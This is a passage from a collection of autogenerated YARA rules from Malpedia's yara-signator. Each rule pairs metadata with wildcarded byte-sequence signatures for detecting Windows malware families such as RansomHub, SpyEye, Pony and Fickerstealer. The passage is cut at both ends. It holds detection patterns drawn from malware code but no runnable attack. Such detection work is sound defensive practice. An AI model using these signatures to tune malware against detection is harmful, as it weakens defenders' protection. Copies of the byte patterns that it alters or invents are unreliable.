		$sequence_31 = { ff5518 33f8 81f6acec75ce 81ff45ee1de6 0f84ce000000 837d4800 }
	condition:
		7 of them and filesize < 204800
}

rule MALPEDIA_Win_Odinaff_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d0d529bd-8ddc-568c-bb57-34ccb7211d4b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.odinaff"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.odinaff_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "a33fd98331eb6936af0c82dded866dcdbe45b48b5675a4678e1caee59c4bd151"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 c745983c000000 c745ac00010000 8955c4 c745c800080000 }
		$sequence_1 = { f7de 85c0 7408 50 }
		$sequence_2 = { 83c410 f7d8 1bf6 8b45e8 f7de 85c0 }
		$sequence_3 = { 6a00 51 52 50 ff15???????? 8945e8 }
		$sequence_4 = { c745fc00010000 ff15???????? 50 ff15???????? 8bf8 8d45fc 50 }
		$sequence_5 = { b8???????? e8???????? 8b1d???????? 83c410 f7d8 1bf6 8b45e8 }
		$sequence_6 = { 53 56 57 8b3d???????? 6800001000 }
		$sequence_7 = { 68???????? 68???????? 53 8bf0 ff15???????? 83c40c }
		$sequence_8 = { 6a00 6a00 51 ff15???????? 8b45fc 85c0 }
		$sequence_9 = { ffd3 8b3d???????? 50 ffd7 6808020000 }
	condition:
		7 of them and filesize < 73728
}

rule MALPEDIA_Win_Ransomhub_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3e3a1e40-e1d1-52bd-84f7-e9d4fbcb059d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomhub"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ransomhub_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "04cb851589645119dff5d45b0c40a2835781fcc030d792f49fd4c3e1be1bf3b4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb0f 488d3dbb5d5100 0f1f00 e8???????? e8???????? 48891d???????? 833d????????00 }
		$sequence_1 = { e8???????? 488d3d03f63300 0f1f00 e8???????? e8???????? 4889842430190000 48899c24b00a0000 }
		$sequence_2 = { bb07000000 488bac2488000000 4881c490000000 c3 488d058db90b00 bb07000000 488bac2488000000 }
		$sequence_3 = { bf01000000 488b8424f00b0000 e8???????? 4c8b8c24f00b0000 41ff8980000000 488b8c2488030000 488b8424b8030000 }
		$sequence_4 = { b90f000000 e8???????? 48898424000e0000 48899c24b8000000 488b15???????? 48899424c0110000 488d0580fd2800 }
		$sequence_5 = { 48c744243400000000 0fb6542449 0fb6742443 01f2 0fb6742442 0fb67c244c 440fb6442457 }
		$sequence_6 = { eb09 4889c7 90 e8???????? 488d05d40d2f00 488b5c2438 488d0db3af3300 }
		$sequence_7 = { 4d8d0cb0 4d8d49fc 450fb609 488d4701 4839c1 0f86ff000000 4829f2 }
		$sequence_8 = { c3 80fb2d 0f85be010000 8400 833d????????00 750c 488d0dbdfa2800 }
		$sequence_9 = { e8???????? 4889442428 48c70000000000 488d05b41b0700 e8???????? 4889442420 488d05a3ea0900 }
	condition:
		7 of them and filesize < 12821504
}

rule MALPEDIA_Win_Spyeye_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b5e5088a-e300-5034-889b-970db77fc21d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spyeye"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spyeye_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "eb40febb6f1c9817c33c9124c37ea30f926a02c0c70087f7a1361d98282ccb0d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 740e 837dfcff 7408 ff75fc }
		$sequence_1 = { 8b65fc c9 c20800 55 8bec }
		$sequence_2 = { 56 6880000000 6a04 56 6a07 6800000040 57 }
		$sequence_3 = { ff7508 ffd0 8b65fc c9 c21400 55 8bec }
		$sequence_4 = { ff750c e8???????? 8bd8 83fbff 751b 57 }
		$sequence_5 = { 837dfcff 7408 ff75fc e8???????? 3bdf }
		$sequence_6 = { 740a 83e0fe 50 57 }
		$sequence_7 = { 6a02 eb08 56 6880000000 6a04 }
		$sequence_8 = { 6a03 57 6a01 56 ff750c e8???????? }
		$sequence_9 = { 50 e8???????? 85c0 7454 57 56 }
	condition:
		7 of them and filesize < 741376
}

rule MALPEDIA_Win_Badaudio_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "05c804a9-cf16-57d2-a80f-b619976bbd0d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badaudio"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.badaudio_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "a6c973b5c41c14ecfe9459d805cffcba8f5aa17e724a8b86913ac3f147c5345e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 886e09 88560d 886602 884e0a }
		$sequence_1 = { c6470c00 807de000 0f8447ffffff 8b45dc c745dc00000000 8b4dd4 }
		$sequence_2 = { 885c8103 40 83f83c 7463 8a7c81fc 0fb65481fd 0fb6f7 }
		$sequence_3 = { f20f114030 f20f10442438 f20f114038 f20f108424e0000000 f20f114058 f20f108424d8000000 f20f114050 }
		$sequence_4 = { 0f57d8 0f115c2411 0f10442461 0f104c2421 0f109424a1000000 }
		$sequence_5 = { 8a4627 88431c 8a4626 88431d 8a4625 88431e 8a4624 }
		$sequence_6 = { 8b540c48 89542438 83c104 894c2408 8b0c24 894c2430 }
		$sequence_7 = { c7462800000000 c7462c0f000000 c6461800 f20f104010 f20f114310 }
		$sequence_8 = { 8a442404 3287e4000000 884604 329fe5000000 885e05 3297e6000000 885606 }
		$sequence_9 = { 0355e0 39d1 89d6 0f43f1 }
	condition:
		7 of them and filesize < 1420288
}

rule MALPEDIA_Win_Go_Red_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "349c73e1-95b2-5589-863e-7a8d953d6a5e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.go_red"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.go_red_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "f8574b8fe29715ba2701e58cba52ed611bfc6971c882e6ec12a4906afec7293e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 84c0 740a 488b7c2470 e9???????? 488b7c2470 488b5748 }
		$sequence_1 = { eb0a 488b7c2450 e8???????? 488b542470 4c8b442468 4c8b4c2438 488b5228 }
		$sequence_2 = { e8???????? 488b6d00 488d0526777d00 4889cb 0f1f00 e8???????? 4889442470 }
		$sequence_3 = { e8???????? 48c7400802000000 48c7401002000000 833d????????00 750d 488b8c24c02f0000 488908 }
		$sequence_4 = { eb11 4889c7 488b8c24001c0000 90 e8???????? 488d0554889f00 e8???????? }
		$sequence_5 = { e8???????? 488b942498000000 488bb424b0000000 4989c1 b901000000 41b801000000 488b442458 }
		$sequence_6 = { e8???????? 4c89d8 e8???????? 4889f8 4c89d9 e8???????? 4c89c0 }
		$sequence_7 = { eb1c 488d7802 4839f9 7c18 4839c1 0f86a8020000 0fb63c02 }
		$sequence_8 = { e8???????? 488d05da7f9e00 e8???????? 4889842458060000 48b9211f0000b9030000 488908 488b9c24481a0000 }
		$sequence_9 = { e8???????? 488d0521e7a701 bb14000000 e8???????? 90 4889442408 895c2410 }
	condition:
		7 of them and filesize < 85566464
}

rule MALPEDIA_Win_Alice_Atm_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9cfa3195-b227-51b9-a69c-03c48bd5ea46"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alice_atm"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.alice_atm_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "0ef9f8a95dbcda5f31fa4765cc9c970db5415f8125e940fffc88bdbab240fbed"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 682e010000 ff7110 e8???????? 8bd8 }
		$sequence_1 = { 0bc0 0f841b010000 b910000000 33d2 f7f1 0fb7f8 }
		$sequence_2 = { 0f85b7000000 e8???????? ff7508 8f05???????? 68ea030000 }
		$sequence_3 = { 53 e8???????? e9???????? 817d0c11010000 0f858b000000 8b4d10 6681f9d507 }
		$sequence_4 = { 7434 8d75d4 6a28 56 }
		$sequence_5 = { 68ec030000 ff7508 e8???????? 8bf0 }
		$sequence_6 = { 55 8bec 81c4f4fdffff 53 56 57 33ff }
		$sequence_7 = { 33c0 8945fc 8b5d08 0bdb 7414 6a00 6a00 }
		$sequence_8 = { 6a00 68e8030000 ff35???????? e8???????? }
		$sequence_9 = { f7f1 0fb7c0 8945f8 8b7d10 83ff00 0f86c2000000 3b7df8 }
	condition:
		7 of them and filesize < 49152
}

rule MALPEDIA_Win_Green_Dispenser_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "954f1c32-9e66-5f40-9a6c-8af93a40211b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.green_dispenser"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.green_dispenser_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "4d0e3b4ff260054d419dc5677f1ac18d6112aade6736ec0a9f2b7f8946b1fdb4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c404 897508 895dfc 85f6 7453 8b450c 895e08 }
		$sequence_1 = { 8d3c9e 03c2 03fa 49 }
		$sequence_2 = { ffb554fbffff e8???????? 83c404 ff75d0 ff15???????? 8bbd9cfbffff 8b8da0fbffff }
		$sequence_3 = { 8b7d08 85ff 747e 391f 757a 6a18 e8???????? }
		$sequence_4 = { c1f803 b9???????? 8d3c9530df4200 8b11 2b17 3bd0 }
		$sequence_5 = { 50 8b8530e5ffff c645f40d 8b048550aa4500 ff3406 }
		$sequence_6 = { 0f841d010000 397e04 0f8e14010000 8b4e08 894dec 51 8bd7 }
		$sequence_7 = { 6a00 68???????? ff75e8 0f57c0 660fd645f1 c745ec09000000 ff15???????? }
		$sequence_8 = { 8bec 53 56 8b750c 57 8bfa 83fe03 }
		$sequence_9 = { 7436 ba02000000 e8???????? 8945fc 85c0 74bf 8bd0 }
	condition:
		7 of them and filesize < 838656
}

rule MALPEDIA_Win_Regretlocker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "50b9971a-330e-56d2-b756-71f28fc91f9f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.regretlocker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.regretlocker_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "ead6b2d4c6df817cb3c1a72366d53d238049299ae52f7c46e3aa685242a44978"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8d4d8f e8???????? 8bf8 6a20 58 ff35???????? }
		$sequence_1 = { 7202 8b09 6a00 51 e8???????? 83f8ff }
		$sequence_2 = { 8d8560feffff 8bce 50 e8???????? 84c0 746b }
		$sequence_3 = { e9???????? 8b4df0 83c12c e9???????? 8d4dd8 e9???????? b8???????? }
		$sequence_4 = { eb4c 8b08 80790d00 7439 8b4804 80790d00 }
		$sequence_5 = { 8b01 8945ec 3bc1 0f84c5000000 8855e8 33ff 8855e4 }
		$sequence_6 = { a5 a5 8d7dec ab ab }
		$sequence_7 = { 56 57 8b7d08 8bf1 3bf7 742b 8d4718 }
		$sequence_8 = { 8bc1 2b45cc 99 f7fb c645fc02 8bf0 8b45c4 }
		$sequence_9 = { 5b 85c0 0f8569ffffff 8b4df4 8bc6 5f 5e }
	condition:
		7 of them and filesize < 1021952
}

rule MALPEDIA_Win_Pony_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1e9f1216-c41a-57fb-9136-54f943e63660"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pony"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pony_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "9de93368584eaaab5c5e69d58fb6c6411ee417490cc0e48dc0aded17e02bd8ef"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c6400200 c6400300 c6400400 c6400505 8d45f4 50 }
		$sequence_1 = { 33f9 8d9c1f051d8804 035e18 c1c317 }
		$sequence_2 = { 7406 50 e8???????? c785dcf7ffff15000000 8d85d0f7ffff }
		$sequence_3 = { ff750c ff35???????? e8???????? 8945f4 6a00 ff7514 ff750c }
		$sequence_4 = { c1e002 31c2 89c8 c1e810 31d0 89c3 }
		$sequence_5 = { 75ed 0fb646ff 83f808 7702 2bf0 2b7510 d1ee }
		$sequence_6 = { 2bfb 83fb38 720e 03fb b840000000 2bc3 03f8 }
		$sequence_7 = { 6800fa0000 ff75f4 ff7508 e8???????? 85c0 0f8430010000 ff75f4 }
		$sequence_8 = { 68???????? e8???????? 898554ffffff 83bd54ffffff00 7445 83bd58ffffff14 723c }
		$sequence_9 = { ff7518 e8???????? ff750c e8???????? d1e0 83c002 }
	condition:
		7 of them and filesize < 262144
}

rule MALPEDIA_Win_Netrepser_Keylogger_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f772ff80-f7e1-59f5-b4f9-deba38267db2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netrepser_keylogger"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.netrepser_keylogger_auto.yar#L1-L174"
		license_url = "N/A"
		logic_hash = "13abde176c0dbe626f8e6b9e0859b33d03f906fc80a16b44518b3026f31a5776"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 51 ff15???????? 8b550c 8902 8b450c 833800 742b }
		$sequence_1 = { 51 8b5510 8b02 50 e8???????? 83f8ff 7507 }
		$sequence_2 = { 895108 8b4538 89410c 8b553c 895110 8b4528 50 }
		$sequence_3 = { 8b45e4 8945c0 eb07 c745c000000000 }
		$sequence_4 = { 833d????????00 0f85ab000000 c645dc53 c645dd48 }
		$sequence_5 = { 81ec3c010000 6804010000 8d85e0feffff 50 6a00 ff15???????? }
		$sequence_6 = { 8d4310 8d89245b4100 5a 668b31 41 668930 41 }
		$sequence_7 = { e9???????? c645cc44 c645cd41 c645ce54 }
		$sequence_8 = { 8b701c 8bcf e8???????? 8b4c240c 0fb711 }
		$sequence_9 = { c74424104c6f6164 c74424144c696272 c744241861727941 8974241c ff15???????? 8bc8 }
		$sequence_10 = { 8b4d18 8d7520 e8???????? 83c418 85c0 }
		$sequence_11 = { 8b0d???????? 51 e8???????? 8b442430 8b542414 8910 83c404 }
		$sequence_12 = { ff15???????? a3???????? 8b542448 6a40 6800300000 52 6a00 }
		$sequence_13 = { 3bc5 7d08 5d 33c0 5b 83c418 }
		$sequence_14 = { 85c0 750d 8b442418 e8???????? 85c0 }
		$sequence_15 = { 81c408010000 c3 8bff 55 8bec }
	condition:
		7 of them and filesize < 303104
}

rule MALPEDIA_Win_Manjusaka_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "51e0b6e1-e568-5f67-9420-ee9d6d4c7f64"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.manjusaka"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.manjusaka_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "29c4c663bca03e2a4622112f8201d75001eddf5ba4fdd44c2a396a51b4263dae"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488b4110 4885c0 0f8482000000 488b31 486bf870 31db 48837c1e0800 }
		$sequence_1 = { 8be9 2bef 4803fa 399c2490000000 7417 498b4d70 e8???????? }
		$sequence_2 = { f048ff08 750d 488d8c2438010000 e8???????? 80bc24c801000002 740d 488d8c2440010000 }
		$sequence_3 = { 85c0 750e b9667b0200 e8???????? 8bc8 ebe2 488b4b18 }
		$sequence_4 = { ba08000000 e8???????? 0f0b 488d4134 c3 488d4135 c3 }
		$sequence_5 = { 81fa00fc0000 7323 66c741100100 6644894112 48c1e010 4883c801 c3 }
		$sequence_6 = { e8???????? 4885d2 7415 4c39e8 7509 4c39e2 0f846a010000 }
		$sequence_7 = { 8a8c0ca2000000 41300c2f 488d4d01 4889cd 4939cc 75b8 488b442440 }
		$sequence_8 = { f048ff00 0f8e64050000 4889c7 b930000000 ba08000000 e8???????? 4885c0 }
		$sequence_9 = { 8806 4883c440 5e c3 4889d1 4c89c2 4d89c8 }
	condition:
		7 of them and filesize < 4772864
}

rule MALPEDIA_Win_Hlux_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d4c2052b-0cd7-527b-912e-2b962734b611"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hlux"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hlux_auto.yar#L1-L158"
		license_url = "N/A"
		logic_hash = "779cc27c2a832f57ff4dea76d2b777f85d6a15f93d14c3ef1d8885e9224660be"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7406 899d44ffffff 09c9 7506 898d9cfeffff 83ffd6 }
		$sequence_1 = { 7503 895598 8b9decfeffff 8d0b 09db }
		$sequence_2 = { 0009 1b4e01 e405 9d }
		$sequence_3 = { 0088aa4b0023 d18a0688078a 46 018847018a46 }
		$sequence_4 = { 0000 008365f0fe8b 4d 0883c108e918 }
		$sequence_5 = { 0130 8b13 8b08 85d2 }
		$sequence_6 = { 33db 81f926edf50a 742f 8d144b 8d8c8b9948a5f2 8955f0 83f909 }
		$sequence_7 = { 7534 85c9 7430 83f9f4 }
		$sequence_8 = { bba43c0cdb 8b15???????? 8955c4 895de0 83f8c1 7503 8945d8 }
		$sequence_9 = { 010f 840f 0000 008365f0fe8b }
		$sequence_10 = { 0104bb 8d1447 89542418 e9???????? }
		$sequence_11 = { 0101 c9 c3 6a10 }
		$sequence_12 = { 0104b9 33c9 83c408 85c0 }
		$sequence_13 = { 898d84feffff 8b0d???????? 8b1d???????? 899d0cffffff }
		$sequence_14 = { 83f8a6 7406 89851cffffff 8b1d???????? 895df4 8b3d???????? }
		$sequence_15 = { 89bd64ffffff 09c0 750b 83f8c1 7406 }
	condition:
		7 of them and filesize < 3147776
}

rule MALPEDIA_Win_Oceansalt_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "02715696-fd80-57ea-b24d-396ae324dbb5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oceansalt"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.oceansalt_auto.yar#L1-L171"
		license_url = "N/A"
		logic_hash = "02d347ca93ad6009e5025efa6ae57d6d731ae049bbef6bfc036d024dce1ca79a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 8b7508 57 6a00 6804020000 8d85f8f9ffff 50 }
		$sequence_1 = { 0f8492000000 53 6a00 6a00 6a00 6802000008 }
		$sequence_2 = { 50 56 ffd3 6a00 6880000000 6a02 }
		$sequence_3 = { 8b4508 6a00 52 57 50 }
		$sequence_4 = { 6a07 8d45f4 50 56 c645f400 ff15???????? 6a00 }
		$sequence_5 = { 85c9 7e0d 80b405fcfdffff77 40 3bc1 7cf3 56 }
		$sequence_6 = { 85ff 743c 6a00 56 }
		$sequence_7 = { 83c404 85c0 75ce 8b8dc4fdffff }
		$sequence_8 = { 8be8 85c0 0f841e010000 48899c24a8010000 }
		$sequence_9 = { 442b44247c 41c1e80a e8???????? f644246010 740a }
		$sequence_10 = { 4c8d0d2ba3ffff 41bb00020000 408a2f 413aea 0f8524f9ffff 4438942490000000 }
		$sequence_11 = { bb00080000 3918 0f4c18 bf01000000 3bcb 0f8d8d000000 4c8d35f4c60000 }
		$sequence_12 = { 4883c440 5d c3 4055 4883ec20 488bea 488b01 }
		$sequence_13 = { eb4e 488b0d???????? 488d542434 e8???????? eb3b }
		$sequence_14 = { e8???????? 4c8d9c2470060000 498b6b20 498b7328 498be3 }
		$sequence_15 = { 488d0d54e30000 f6410820 7417 33d2 }
	condition:
		7 of them and filesize < 212992
}

rule MALPEDIA_Win_Fickerstealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c52c8234-c18e-5ab8-95a7-2cfcdb04553b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fickerstealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fickerstealer_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "1997b49e36624536afa96468393213120f734d09be7f5a4952b0a008982c9c1f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 46 4f ebe7 b001 eb02 31c0 83c404 }
		$sequence_1 = { ff74240c ff74240c ff74240c 52 51 53 50 }
		$sequence_2 = { eb44 88df 80c7d0 80ff0a 7241 8b7df0 3a1f }
		$sequence_3 = { c3 8b8424081d0000 f20f108424001d0000 8b7d0c 89442438 f20f11442430 31c0 }
		$sequence_4 = { 8d55f0 8902 894a04 6683620800 89f1 e8???????? 83c40c }
		$sequence_5 = { f20f114808 f20f1100 8d4dd4 6a02 58 50 e8???????? }
		$sequence_6 = { f20f114610 f20f114e08 f20f1116 56 e8???????? 59 83c418 }
		$sequence_7 = { 21f2 8d75d4 8b760c 09da bb08080808 21de 09fe }
		$sequence_8 = { 8d55e4 21c3 8d8518ffffff f20f1000 f20f104808 8d45e4 09fb }
		$sequence_9 = { e8???????? 83c40c 8b542410 6689442422 89f9 6a04 58 }
	condition:
		7 of them and filesize < 598016
}

rule MALPEDIA_Win_Magala_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7d1b8c98-54ed-55c3-acdc-c42ca1617fa1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.magala"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.magala_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "3f293fe262d0ce646006496753cf31d4b0409f545d9ecd746ba425bd758b2984"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
